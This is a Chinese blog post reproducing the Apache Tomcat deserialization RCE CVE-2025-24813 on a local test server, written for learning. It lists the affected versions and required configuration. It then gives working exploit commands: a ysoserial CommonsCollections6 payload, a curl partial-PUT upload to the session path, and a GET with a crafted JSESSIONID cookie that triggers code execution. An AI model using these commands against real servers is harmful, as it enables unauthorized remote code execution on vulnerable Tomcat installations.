CVE-2025-24813 RCE复现

前情提要:

某天晚上学长忽然在群里发出一个tomcat的rce漏洞,但前几天在忙找实习的事情,所以今天抽出时间复现一下,指不定面试的时候还可以讲讲

漏洞描述:

apache tomcat在前几天爆出了一个新的反序列化rce漏洞,大致就是攻击者构造恶意的请求,利用特定配置即文件会话持久机制将恶意序列化数据写入服务器中,并在后续访问中会触发反序列化漏洞,进而导致rce

影响版本

● 9.0.0.M1 <= Apache Tomcat <= 9.0.98
● 10.1.0-M1 <= Apache Tomcat <= 10.1.34
● 11.0.0-M1 <= Apache Tomcat <= 11.0.2

漏洞利用条件:

  1. tomcat的conf/web.xml文件中readonly配置必须为false即DefaultServlet 写入功能启用
  2. PartialPUT请求支持:tomcat中默认支持分块上传
  3. 有能够引起反序列化漏洞的依赖如cc3的依赖(commons-collections-3.2.1.jar)
  4. 文件会话持久化启用:在 conf/context.xml 中配置 PersistentManager 和 FileStore

漏洞环境搭建:

首先idea创建一个maven项目

然后下载一个tomcat,版本在上面的范围里面就好,刚好我之前用的tomcat就在范围之内,不用再换了
下载地址:
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/
这里可以把tomcat的一些jar包导进去,为了方便后续源码分析(下篇文章分析)

然后就是给maven配置tomcat

然后部署工件

然后就好了,最后就是修改一下tomcat的配置
conf/web.xml

conf/context.xml

然后准备工作就做好了,直接运行tomcat,页面正常

漏洞复现

首先用ysoserial生成一个cc6的payload

java -jar ysoserial.jar CommonsCollections6 "Calc" > payload.ser

然后用PUT请求去上传payload

curl -X PUT -H "Content-Range: bytes 0-999/1200" --data-binary @payload.ser http://127.0.0.1:8877/evil/session

然后get请求访问

curl -H "Cookie: JSESSIONID=.evil" http://127.0.0.1:8877/
#默认get请求

然后就弹出计算器了(太好了,是大hacker,我们有救了orz)
源码分析后续会给出,等我面试什么的先结束了~~~

posted @ 2025-03-23 14:18  Zephyr07  阅读(115)  评论(0)    收藏  举报